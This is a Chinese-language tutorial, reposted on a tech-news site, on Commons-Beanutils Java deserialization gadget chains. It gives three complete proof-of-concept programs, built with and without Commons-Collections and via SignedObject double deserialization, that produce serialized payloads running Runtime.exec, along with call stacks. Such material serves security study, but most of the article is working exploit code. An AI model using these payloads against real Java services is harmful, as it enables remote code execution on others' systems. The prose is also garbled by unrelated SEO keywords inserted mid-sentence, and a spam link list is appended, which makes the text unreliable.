您现在的位置是:亿华灵动 > IT资讯
Commons-Beanutils的三种利用原理构造与POC
亿华灵动2025-11-26 19:36:38【IT资讯】8人已围观
简介写在前面commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。其中比较
commons-beanutils 是利用 Apache 提供的一个用于操作 JAVA bean 的工具包 。里面提供了各种各样的原理工具类,让我们可以很方便的构造对bean对象的属性进行各种操作 。其中比较常使用的利用有 MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。
分析在之前CC链的原理分析中就有着一条链是通过java.util.PriorityQueue的readObject来触发的 ,相信大家都有印象。免费模板构造
主要是利用通过调用了其comparator的compare方法 ,进而调用了transform链的原理调用,看一下之前的构造调用链。
复制* Gadget chain: * ObjectInputStream.readObject() * PriorityQueue.readObject() * PriorityQueue.heapify() * PriorityQueue.siftDown() * PriorityQueue.siftDownUsingComparator() * TransformingComparator.compare() * InvokerTransformer.transform() * Method.invoke() * TemplatesImpl.newTransformer() * TemplatesImpl.getTransletInstance() * Runtime.exec()1.2.3.4.5.6.7.8.9.10.11.12.而CB链的利用思路就是,将其中的原理comparator替换成commons-beanutils库中的某个comparator ,达到我们的构造目的。香港云服务器我们可以通过Codeql进行查看一下CB库中有哪些Comparator 。利用

存在有一个BeanComparator这个类。原理
BeanComparator
这个类是构造用来判断两个Bean是否相等的类,跟进一下构造方法。

在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象 ,源码库当然,在调用链中,将会调用他的compare方法。。

在方法中 ,将会通过调用PropertyUtils.getProperty将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

PropertyUtils
而对于在其中调用的getProperty方法 。

接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的源码下载值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性 ,进而经过恶意的构造 ,我们可以触发任意的getter方法。

依赖CC库
那么我就就可以按照上面分析的思路构造利用了。我们的目标是通过触发任意的getter方法,云计算达到调用TemplatesImpl#getOutputProperties方法执行命令。
首先我们需要创建一个恶意的TemplatesImpl类。
复制//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("EVil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "RoboTerh");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{ bytes});1.2.3.4.5.6.7.8.9.10.11.12.我是通过javassist库进行创建恶意类生成字节码的,同样可以通过创建一个实类进行获取,特别注意的是对于TemplatesImpl利用链来说,其恶意类需要继承AbstractTranslet类。
之后我们创建一个比较器和PriorityQueue类,并将恶意类放入queue属性中。
复制//创建比较器
BeanComparator beanComparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{ templates, templates});1.2.3.4.5.6.7.8.9.完整的POC。
复制package pers.cb;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CB_withCC { public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException { //动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EVil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "RoboTerh"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{ bytes}); //创建比较器
BeanComparator beanComparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(2, beanComparator); queue.add(1); queue.add(1); //反射赋值
setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{ templates, templates}); //序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(queue); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray()))); //反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = ois.readObject(); baor.close(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.
调用栈 。高防服务器
复制exec:347, Runtime (java.lang)<clinit>:-1,EVil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)main:57, CB_withCC (pers.cb)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.但是上面的链子存在一个问题,如果我们将CC库的依赖去调用 ,将不能执行命令,为什么呢 ?
在前面对BeanComparator的分析中 ,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象 。

不幸的是,这个类是存在commons-collections的类,如果没有这个依赖 ,在反序列化的过程中将会抛出异常。
当然同样有着解决的办法 !
不依赖CC库
前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。
对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类 。
存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator
我们只需要反射将对应的comparator写入属性中 ,就不需要依赖CC库了 。
复制//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");//下面这两个二选一都可以
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);setFieldValue(beanComparator, "comparator", Collections.reverseOrder());setFieldValue(queue, "queue", new Object[]{ templates, templates});1.2.3.4.5.6.完整的POC。
复制package pers.cb;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.Collections;import java.util.PriorityQueue;public class CB_withoutCC { public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException { //动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "RoboTerh"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{ bytes}); //创建比较器
BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator); queue.add(1); queue.add(1); //反射赋值
setFieldValue(beanComparator, "property", "outputProperties"); //下面这两个二选一都可以
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER); setFieldValue(beanComparator, "comparator", Collections.reverseOrder()); setFieldValue(queue, "queue", new Object[]{ templates, templates}); //序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(queue); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray()))); //反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = ois.readObject(); baor.close(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.
二次反序列化
同样可以通过二次反序列化的方式触发利用链 ,在SignedObject#getObject方法中 。

能够对类对象的content属性中的数据进行反序列化 ,如果我们能够添加自定义content属性值,替换成序列化数据 ,就能够达到恶意目的 ,我们看看构造方法。

很好 ,只需要传入一个实现了java.io.Serializable接口的对象做为第一个参数,那么将会将其进行序列化之后将字节传给content属性,那么就可以构造了 。
创建一个恶意对象 。
复制PriorityQueue queue1 = getpayload(obj, "outputProperties");1.将这个对象传入SignedObject类中 。
复制KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));1.2.3.4.完整的POC 。
复制package pers.cb;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.Base64;import java.util.PriorityQueue;public class CB_withoutCC_twice_deserialization { public static void setFieldValue(Object obj, String field, Object value) throws Exception{ Field declaredField = obj.getClass().getDeclaredField(field); declaredField.setAccessible(true); declaredField.set(obj, value); } public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception { BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); priorityQueue.add("1"); priorityQueue.add("2"); setFieldValue(beanComparator, "property", string); setFieldValue(priorityQueue, "queue", new Object[]{ object, null}); return priorityQueue; } public static void main(String[] args) throws Exception { //生成恶意的bytecodes
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evilexp"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ bytes }); setFieldValue(obj, "_name", "RoboTerh"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); PriorityQueue queue1 = getpayload(obj, "outputProperties"); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA")); PriorityQueue queue2 = getpayload(signedObject, "object"); //序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(queue2); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray()))); //反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = ois.readObject(); baor.close(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.
调用栈 。
复制exec:347, Runtime (java.lang)<clinit>:-1,evilexp
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.很赞哦!(855)
下一篇: 顶级CISO必备的五个安全认证
热门文章
站长推荐
友情链接
- 健身餐市场(健身人群的增加,为健身餐市场带来爆发式增长)
- LG曲面手机的优势与特点(探索新时代手机的未来之路)
- 三星G22W评测(揭秘三星G22W的卓越性能与强大功能,发现专业显示器的魅力)
- 联想T41笔记本(探索联想T41笔记本的优势和用户体验)
- 成人用品行业的现状及发展趋势(挖掘成人用品市场的关键机会与挑战)
- 红米Note4X导航功能全面评测(探索红米Note4X导航功能的便利与准确性)
- 探索荣耀自拍杆的拍摄魅力(解锁你的自拍潜力,让每一张照片都令人惊叹)
- 米4的使用体验(一款令人满意的手机选择)
- 探索激光摄像机的视觉奇迹(揭开激光摄像机背后的神秘面纱)
- 电脑油冷散热(颠覆传统,油冷散热为电脑降温) 云服务器源码库香港物理机b2b信息平台网站建设企业服务器亿华云







